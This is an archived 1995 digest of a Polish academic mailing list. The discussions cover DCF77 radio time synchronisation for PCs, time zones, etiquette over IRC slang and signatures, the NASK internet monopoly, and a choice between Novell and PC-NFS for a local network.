Jesli kogos to interesuje, moge odszukac namiary.
Osobiscie nie korzystalem z tego ukladu, ale mialem mozliwosc ogladac go
i rozmawialem bezposrednio z producentem. Z konstrukcyjnego punktu widzenia
zastosowano tam gotowy modul odbiornika (prod.RFN) sprzezonego z zegarkiem
cyfrowym. Z tego zegarka wyprowadzono zakodowany sygnal czasu i po zlaczu
RS232 wprowadzono do komputera. Program rozkodowuje czas i wpisuje do zegarka
CMOSowego. Zakodowany sygnal zawiera aktualny czas (rozdzielczosc 1s), date,
czas letni/zimowy, zapowiedz zmiany czasu,lata przestepne itp.
Wydaje sie, ze niewielkim kosztem (kilka starych mln zl) kazdy, kto odczuwa 
taka potrzebe, moze zapewnic sobie w sposob ciagly dokladny czas w 
swoim komputerze.
Jesli ktos zakupi taki uklad, to moze zalapie sie na jakos prowizje? :-)

Elek.


------------------------------------------------------------------- 
 Eligiusz Pawlowski                   elekp@elektron.pol.lublin.pl
 POLITECHNIKA LUBELSKA                         
 Wydzial Elektryczny                          
 Katedra Metrologii Elektrycznej i Elektronicznej         
 ul.Nadbystrzycka 38 A                         
 20-618 LUBLIN                  tel.(48) (81) 55-10-51 wew.259,265            
------------------------------------------------------------------- 
From ELEKP@elektron.pol.lublin.pl Wed Jan 18 10:56:45 1995
Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07103; Wed, 18 Jan 95 10:52:44 +0100
Return-Path: <ELEKP@elektron.pol.lublin.pl>
Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP
	(1.38.193.4/16.2) id AA21067; Wed, 18 Jan 1995 10:53:39 +0100
Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13);
    Wed, 18 Jan 95 10:49:14 +0100
Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 10:49:05 +0100
From: "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 10:49:05 +0100
Subject:       Re: Ustawianie czasu
X-Pmrqc:       1
Priority: normal
X-Mailer:     Pegasus Mail v3.1 (R1a)
Message-Id: <26A8457517@elektron.pol.lublin.pl>


> Date sent:      Tue, 17 Jan 95 16:00:22 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           myszka@immt.pwr.wroc.pl (Wojciech Myszka)
> To:             elekp@elektron.pol.lublin.pl
> Subject:        Re: Ustawianie czasu
> Organization:   Institute of Material Science and Technical Mechanics, Wroclaw, Poland

> Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> 
> > Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to
> > jest MET..., ale moze ja za lame jestem? :)
> 
>   ---
>   W naglowkach newsow podawany jest czas GMT, po to wlasnie zeby bylo 
>   wiadomo KIEDY zostalo napisane i dotyczy to nawet tych z USA
>   W

W Polsce jest czas MET (czas srodkowo europejski-Middle Europe Time),
tzn. czas GMT "przyspieszony" o jedna godzine czyli GMT+1 godz,
Wszytko wiec sie zgadza, podany jest czas GMT, ale rowniez
czas lokalny u nadawcy (wlasciwie jego przesuniecie wzgledem GMT), 
tak jak ponizej :

> Date sent:      Tue, 17 Jan 95 16:00:22 +0100

Elek.

------------------------------------------------------------------- 
 Eligiusz Pawlowski                   elekp@elektron.pol.lublin.pl
 POLITECHNIKA LUBELSKA                         
 Wydzial Elektryczny                          
 Katedra Metrologii Elektrycznej i Elektronicznej         
 ul.Nadbystrzycka 38 A                         
 20-618 LUBLIN                  tel.(48) (81) 55-10-51 wew.259,265            
------------------------------------------------------------------- 
From piskozub@ocean.iopan.gda.pl Wed Jan 18 11:01:46 1995
Received: from ocean.iopan.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07489; Wed, 18 Jan 95 10:59:24 +0100
Received:  by ocean.iopan.gda.pl (5.65/25-eef)
	id AA13792; Wed, 18 Jan 95 11:00:19 +0100
Return-Path: <piskozub@ocean.iopan.gda.pl>
From: Jacek Piskozub <piskozub@ocean.iopan.gda.pl>
Message-Id: <9501181000.AA13792@ocean.iopan.gda.pl>
Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia)
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 11:00:18 +0100 (Poland)
In-Reply-To: <3fimaq$hop@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 18, 95 10:36:18 am
X-Mailer: ELM [version 2.4 PL21]
Content-Type: text
Content-Length: 687       

UWAGA: To moj ostatni list w sprawie gwary IRC-owskiej. Nie zasluguje ona
na dluzsze zaprzatanie sobie uwagi.

Andrzej K. Brandt (andy@mimuw.edu.pl) pisal: 
> 
> Bardzo lamerskie - slowo lame nie wystepuje jedynie na IRC. 
>

Nie, takze tam dokad przeplywaja zwyczaje [te najgorsze] stamtad zaczerpniete.
I co ciekawe, wystepuje to glownie u osob, majacych ksywe IRC-owska
w herbie (przepraszam: w "sigu"). 

W tej grupie to jednak chyba byl pierwszy (i drugi) raz. Prosze administratora
o zwrocenie na ten problem uwagi.

O tempora, o mores!

Zalaczam pozdrowienia, dla wszystkich, ktorzy IRCuja ale cos na tym 
moralnie zyskali miast stracic :-)

Jacek Piskozub
piskozub@iopan.gda.pl

From ELEKP@elektron.pol.lublin.pl Wed Jan 18 11:11:44 1995
Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07941; Wed, 18 Jan 95 11:07:04 +0100
Return-Path: <ELEKP@elektron.pol.lublin.pl>
Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP
	(1.38.193.4/16.2) id AA21156; Wed, 18 Jan 1995 11:08:00 +0100
Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13);
    Wed, 18 Jan 95 11:03:35 +0100
Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 11:03:27 +0100
From: "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 11:03:19 +0100
Subject:       Re: Ustawianie czasu - nie na temat
X-Pmrqc:       1
Priority: normal
X-Mailer:     Pegasus Mail v3.1 (R1a)
Message-Id: <26E58D08ED@elektron.pol.lublin.pl>

> From:           andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
> 
> Niezwykle trafne spostrzezenie. Dlatego wlasnie nalezy pozwolic kazdemu miec
> takiego sig'a, jakiego chce. W ten sposob w kazdym liscie kazdy podpisujac
> sie nim nie tylko informuje nas o adresie e-mailowym (w tym przypadku
> potencjalny nadawca e-maila moze miec problemy z wyborem) ale co-nieco o
> sobie.
> 
>                                73 de Andy SP5WCA
> 

Sa specjalisci, ktorzy na podstawie charakteru pisma, a w szczegolnosci
na podstawie podpisu, ustalaja charakter czlowieka.
Mysle, podobnie mozna potraktowac sig w e-mail'u, informacja jest zawarta nie
tylko w tresci, ale rowniez w formie, w objetosci, w liczbie wierszy itd.

Twoj sig swiadczy o tobie !

Pozwolmy kazdemu miec taki sig, na jaki ma ochote.

W koncu jest to podpis pod listem. Krytykowac sposob podpisywania drugiej
osoby to raczej nieuprzejmosc.
I mysle, ze jest to dyskusja na temat, bo dotyczy bezposrednio sposobu
korzystania z sieci, etyki pracujacych w Internecie.

Elek.


------------------------------------------------------------------- 
 Eligiusz Pawlowski                   elekp@elektron.pol.lublin.pl
 POLITECHNIKA LUBELSKA                         
 Wydzial Elektryczny                          
 Katedra Metrologii Elektrycznej i Elektronicznej         
 ul.Nadbystrzycka 38 A                         
 20-618 LUBLIN                  tel.(48) (81) 55-10-51 wew.259,265            
------------------------------------------------------------------- 
From krzysio@hebe.umcs.lublin.pl Wed Jan 18 11:26:45 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09265; Wed, 18 Jan 95 11:25:52 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id KAA09252 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 10:26:57 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501181026.KAA09252@hebe.umcs.lublin.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 11:26:57 +0100 (MET)
In-Reply-To: <15634521AB@inf.wsp.krakow.pl> from "Jaroslaw Rafa" at Jan 17, 95 08:29:51 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1776      

Jaroslaw Rafa wrote:
> 
> > > : zrob finger @sam.nask.com.pl.
> > > Zrobilem, i nie widze nic ciekawego/podejrzanego.
> > Wiekszosc uzytkownikow tej maszyny, to uzytkownicy komercyjni nie majacy
> > nic wspolnego z sieciami akademickimi.
> No przeciez to .com.pl !!! To w takim razie chyba oczywiste.

Jasne! Ale w tym samym adresie jest takze skrot NASK.... a to i Naukowe
i Akademickie.. no nie??? A to juz razem jakos sie nie klei....

> > > I nadal najlepszym wyjsciem bylby drugi 'provider' ktory zdjal by z NASK
> > > ciezar monopolu.
> > 
> > Dokladnie! Najwyzszy czas, aby ktos mial prawo to zrobi i aby to jednak
> > zrobil. Monopol tak czy owak zawsze tworzy bardzo niezdrowa sytuacje.
> Sluchajcie! Co z tym cholernym EUnetem? Pytalem juz o to jakis czas temu. 
> Mniej wiecej rok temu reklamowali sie ze strasznym szumem jako konkurencja 
> dla NASK-u, a w ogole nie slysze, zeby cos podlaczali, zeby ktos mial u nich 
> konta itp... Wie ktos cos na ten temat?

Rowniez podpisuje sie pod tym pytaniem. Nie widzielem nigdzie EUnet'u u
nas poza tymi ogloszeniami, ktore swego czasu ganialy po listach
dyskusyjnych.
					Pozdrawiam,
					   -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 11:46:46 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10368; Wed, 18 Jan 95 11:43:37 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA29923 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 11:31:20 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 10:22:46 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3fiq5m$sf7@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501172328.AA170138@acs5.acs.ucalgary.ca>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

wowoc@acs.ucalgary.ca wrote:
: Ten kto odradzal Novell-a przypuszczalnie mial na mysli
: zastapienie pecetow przez Macintosh-e z serwerem na Sunie.
: Ale SPARCstation 5 to taki tyciuski serwer...

Hm..  Ostatnio postawilem Novela poto, zeby zintegrowac Mac'i z PCtami.



Jarek.
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 13:26:47 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12339; Wed, 18 Jan 95 13:23:41 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA02215 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 13:11:30 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 12:03:31 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3fj02j$6i9@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <2682FB5771@elektron.pol.lublin.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77

Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) wrote:
: Witam spragnionych dokladnego czasu!
: Problem synchronizacji czasu poprzez siec, z servera czasu jest mi obcy.
: Wiem natomiast, ze stosunkowo latwo mozna zsynchronizowac czas w dowolnym 
: komputerze (a wiec i w lokalnym serverze), z jednym z dokladniejszych zegarow
: w europie.

: Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB.
: PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar).
: Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz,
: stad nazwa tego nadajnika DCF77.
: .....

Hobbystow zachecam do wykonania. 
A pozostalym sugeruje zakup modulu do nawigacji satelitarnej. Wynikiem
ubocznym jest b.dokladny czas.

Jarek.
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 13:26:50 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12342; Wed, 18 Jan 95 13:23:43 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA02429 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 13:21:29 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 11:29:02 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fiu1u$kfl@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501181000.AA13792@ocean.iopan.gda.pl>
Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia)

Jacek Piskozub (piskozub@ocean.iopan.gda.pl) wrote:
: UWAGA: To moj ostatni list w sprawie gwary IRC-owskiej. Nie zasluguje ona
: na dluzsze zaprzatanie sobie uwagi.

: Andrzej K. Brandt (andy@mimuw.edu.pl) pisal: 
: > 
: > Bardzo lamerskie - slowo lame nie wystepuje jedynie na IRC. 
: >

: Nie, takze tam dokad przeplywaja zwyczaje [te najgorsze] stamtad zaczerpniete.
: I co ciekawe, wystepuje to glownie u osob, majacych ksywe IRC-owska
: w herbie (przepraszam: w "sigu"). 

To wszystko dowodzi wlasnie, ze Pan nie wie co to za slowo i skad sie
wzielo. Nie kazde slowo, ktorego znaczenia i pochodzenia nie znamy jest
slowem brzydkim. LAME!

: W tej grupie to jednak chyba byl pierwszy (i drugi) raz. Prosze administratora
: o zwrocenie na ten problem uwagi.

Prosze administratora o nie wprowadzanie cenzury jezykowej wylacznie z
powodu ignorancji mr. Piskozuba.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From artur@panda.bg.univ.gda.pl Wed Jan 18 13:35:22 1995
Received: from panda.bg.univ.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12784; Wed, 18 Jan 95 13:32:59 +0100
Return-Path: <artur@panda.bg.univ.gda.pl>
Message-Id: <9501181232.AA12784@zsku.p.lodz.pl>
Received: by panda.bg.univ.gda.pl
	(1.37.109.4/16.2) id AA06685; Wed, 18 Jan 95 13:34:48 +0100
From: Artur Angielski <artur@panda.bg.univ.gda.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 95 13:34:46 MET
In-Reply-To: <2682FB5771@elektron.pol.lublin.pl>; from "Eligiusz Pawlowski, LUBLIN." at Jan 18, 95 10:55 am
Mailer: Elm [revision: 70.85]

  Witajcie.
> 
> Witam spragnionych dokladnego czasu!
> Problem synchronizacji czasu poprzez siec, z servera czasu jest mi obcy.
> Wiem natomiast, ze stosunkowo latwo mozna zsynchronizowac czas w dowolnym 
> komputerze (a wiec i w lokalnym serverze), z jednym z dokladniejszych zegarow
> w europie.
]
>  Eligiusz Pawlowski                   elekp@elektron.pol.lublin.pl
> 

Nie widzialem tego artykule w Elektronice Praktycznej, ale pamietam ze cos
takiego bylo opisywane w Radioelktroniku. Jesli ktos chce to moge na zyczenie
podac w ktorym numerze.
Uklad jest bardzo  prosty i tani - jak kazdy odbiornik na fale dlugie.
Antena ferrytowa,kilka tranzystorkow itp. Jest tylko jeden problem - z tego 
co pamietam (o ile sie nie myle) nie sluzy on do zdekodowania pelnego czasu, 
a jedynie do BARDZO dokladnego odmierzania sekund, przydatne m. in. w mierni-
kach czestotliwosci.


   Pozdrawiam     Artur

--

###############################################################################
#                         #                                  #                #
#     Artur Angielski     #    artur@panda.bg.univ.gda.pl    #     SP2QCA     #
#                         #        tel. (0-58) 78-33-57      #                #
#                         #                                  #                #
###############################################################################


From ELEKP@elektron.pol.lublin.pl Wed Jan 18 14:31:48 1995
Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15017; Wed, 18 Jan 95 14:26:48 +0100
Return-Path: <ELEKP@elektron.pol.lublin.pl>
Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP
	(1.38.193.4/16.2) id AA22433; Wed, 18 Jan 1995 14:27:45 +0100
Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13);
    Wed, 18 Jan 95 14:23:22 +0100
Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 14:22:54 +0100
From: "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 14:22:52 +0100
Subject:       Re: Ustawianie czasu-odbiornik DCF77
X-Pmrqc:       1
Priority: normal
X-Mailer:     Pegasus Mail v3.1 (R1a)
Message-Id: <2A38A8190B@elektron.pol.lublin.pl>

> From:           lis@asic.ict.pwr.wroc.pl (Jarek Lis)
> 
> : Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB.
> : PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar).
> : Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz,
> : stad nazwa tego nadajnika DCF77.
> : .....
> 
> Hobbystow zachecam do wykonania. 
> A pozostalym sugeruje zakup modulu do nawigacji satelitarnej. Wynikiem
> ubocznym jest b.dokladny czas.
> 
> Jarek.

 Prostuje  : DCF77 nie jest stworzona dla hobbystow. To jednostka rzadowa
 odpowiedzialna za utrzymanie czasu w Niemczech. Czas rozpowszechniany ta
 droga jest panstwowym (urzedowym) wzorcem czasu w Niemczech. Oczywiscie moze
 te sygnaly czasu odbierac kazdy (rowniez hobbisci).
 
 Elek.
 
 
------------------------------------------------------------------- 
 Eligiusz Pawlowski                   elekp@elektron.pol.lublin.pl
 POLITECHNIKA LUBELSKA                         
 Wydzial Elektryczny                          
 Katedra Metrologii Elektrycznej i Elektronicznej         
 ul.Nadbystrzycka 38 A                         
 20-618 LUBLIN                  tel.(48) (81) 55-10-51 wew.259,265            
------------------------------------------------------------------- 
From ELEKP@elektron.pol.lublin.pl Wed Jan 18 14:41:48 1995
Received: from apollo.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15660; Wed, 18 Jan 95 14:41:40 +0100
Return-Path: <ELEKP@elektron.pol.lublin.pl>
Received: from elektron.pol.lublin.pl by apollo.umcs.lublin.pl with SMTP
	(1.38.193.4/16.2) id AA22596; Wed, 18 Jan 1995 14:42:36 +0100
Received: from ELEKTRON/MAILQUEUE by elektron.pol.lublin.pl (Mercury 1.13);
    Wed, 18 Jan 95 14:38:13 +0100
Received: from MAILQUEUE by ELEKTRON (Mercury 1.13); Wed, 18 Jan 95 14:37:54 +0100
From: "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 14:37:53 +0100
Subject:       Re: Ustawianie czasu-odbiornik DCF77
X-Pmrqc:       1
Priority: normal
X-Mailer:     Pegasus Mail v3.1 (R1a)
Message-Id: <2A78AB7C8B@elektron.pol.lublin.pl>

> From:           Artur Angielski <artur@panda.bg.univ.gda.pl>
> 
> Nie widzialem tego artykule w Elektronice Praktycznej, ale pamietam ze cos
> takiego bylo opisywane w Radioelktroniku. Jesli ktos chce to moge na zyczenie
> podac w ktorym numerze.
> Uklad jest bardzo  prosty i tani - jak kazdy odbiornik na fale dlugie.
> Antena ferrytowa,kilka tranzystorkow itp. Jest tylko jeden problem - z tego 
> co pamietam (o ile sie nie myle) nie sluzy on do zdekodowania pelnego czasu, 
> a jedynie do BARDZO dokladnego odmierzania sekund, przydatne m. in. w mierni-
> kach czestotliwosci.
> 
> 
>    Pozdrawiam     Artur
> 

Sygnaly czasu sa nadawane impulsami co 1 sekunde, zapewniaja wiec co prawda
synchronizacje z wysoka dokladnoscia, ale z rozdzielczoscia tylko 1 sekundy.
Natomiast czestotliwosc nosna sygnalu 77.5 kHz jest stabilizowana cezowym
wzorcem atomowym z dokladnoscia 10E-14 (mniej wiecej) i moze byc ona 
wykorzystywana rzeczywiscie w czestosciomierzu jako czestotliwosc wzorcowa.
Jest to niezalezne od sygnalow czasu.
Dokladnie nadajnik DCF77 ropzprowadza droga radiowa zarowno sygnaly czasu
jak i sygnal czestotliwosci wzorcowej.
Warto dodac,ze w Polsce sygnalem czestotliwosci wzorcowej jest czestotliwosc
225 kHz nadajnika pierwszego programu polskiego radia. Jest ona rowniez
stabilizowana wzorcem atomowym. Odpowiednie komunikaty sa nadawane codziennie
przed godz. 12:00 w I pr PR. Sygnal czasu jest nadawany tylko raz na dobe
o godz 12:00, na podstawie sygnalow z Instytutu Lacznosci w Warszawie,
ktory jest odpowiedzialny za utrzymanie czasu w Polsce.
Sygnaly czasu nadawane na innych programach radiowych, w telewizji, w
telegazecie itp. nie sa synchronizowane z urzedowym wzorcem czasu w Polsce.
Na swiecie powszechne jest stosownie sygnalow telewizyjnych do 
rozpowszechniania sygnalow czasu.
Zainteresowanych temat odsylam na poczatek do ksiazki :
Kartashof: "Czestotliwosc i czas", wydanej przez PWN kilka lat temu 
(tlumaczenie z angielskiego),oraz:
Dudziewicz: "Etalony i precyzyjne pomiary wielkosci elektrycznych".

Elek.


------------------------------------------------------------------- 
 Eligiusz Pawlowski                   elekp@elektron.pol.lublin.pl
 POLITECHNIKA LUBELSKA                         
 Wydzial Elektryczny                          
 Katedra Metrologii Elektrycznej i Elektronicznej         
 ul.Nadbystrzycka 38 A                         
 20-618 LUBLIN                  tel.(48) (81) 55-10-51 wew.259,265            
------------------------------------------------------------------- 
From RAJ@inf.wsp.krakow.pl Wed Jan 18 14:46:49 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15741; Wed, 18 Jan 95 14:42:49 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id OAA05598 for <polip@zsku.p.lodz.pl>; Wed, 18 Jan 1995 14:46:38 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Wed, 18 Jan 95 14:40:09 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 18 Jan 95 14:39:52 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 14:39:46 GMT+0100
Subject:       Re: Ustawianie czasu-odbiornik DCF77
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <104E6D7CC8@inf.wsp.krakow.pl>

> Date sent:      Wed, 18 Jan 95 11:00:28 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: Ustawianie czasu-odbiornik DCF77

> Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB.
> PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar).
> Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz,
> stad nazwa tego nadajnika DCF77.
> Sygnal czasu mozna odbierac praktycznie na calym obszarze Polski, potrzebny 
> jest odpowiedni odbiornik i program.
Czy ktos wie, jak wyglada aktualnie sytuacja z wzorcem czasu w Polsce?
Do upadku masztu w Gabinie czestotliwosc jego nadajnika byla polskim wzorcem 
czasu. W ktoryms ze starych numerow Radioelektronika (juz od bardzo dawna 
tego nie czytam) tez opisywano odbiornik sluzacy do synchronizacji czasu z 
nadajnikiem w Gabinie wlasnie. Czy ktos wie jak jest teraz?
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 14:46:56 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15782; Wed, 18 Jan 95 14:43:36 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA03723 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:30:58 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 13:23:34 GMT
From: solarz@ibspan.waw.pl (Bartlomiej Solarz)
Message-Id: <solarz.112.2F1D1656@ibspan.waw.pl>
Organization: Instytut Badan Systemowych
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?



>Jaroslaw Rafa pisze:
>> 
>> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze
>> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego
>> >                  do pogodzenia z jakimkolwiek oprogramowaniem.
>>                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> > Bede wdzieczny za wszelkie rady.
>> > 
>> ????????????

>Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem
>sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz,
>ze w wiekszosci przypadkow alternatywy brak :-)

Alternatywa jest: PC-NFS by SUN Microsystems. Tylko na skutek masy bledow i 
zle napisanego shella na PC (po uruchomieniu na 386 zostaje 520KB RAM-u 
konwencjonalnego (oczywiscie z wykorzystaniem UMB))!!!, obsluga drukarek 
przylaczonych do innych lokalnych PC jest tylko teoretycznie mozliwa w trybie 
non-dedicated po uruchomieniu zostaje ci 380KB!!!!, po za tym wiekszosc 
oprogramowania powstajacego aktualnie robi psikusy (co najmniej!) w trakcie 
instalacji. I najwazniejszy byk na skutek specyficznej obslugi NFS przez SUN 
4.1.3 i inne UNIX-y np. HP-UX 7.0, 8.0 nie ma buforowania dysku w trakcie 
zapisu. (W trakcie odczytu jest!), Mam CUS takiego i pracuje, ale z checia 
zmienil bym to na NOVELL-a 4.01.

Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od 
komputera!)!!!!

Z powazaniem


From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:05:24 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17167; Wed, 18 Jan 95 15:03:37 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA04524 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:59:14 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 13:58:07 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3fj6pf$d7j@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501181018.aa10356@wega.ics.tup.edu.pl>
Subject: Re: jak to jest z tym naszym DNS?

Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) pisal:
>   Synchronizacja szwankuje. Serial numbers i te rzeczy sie klaniaja.
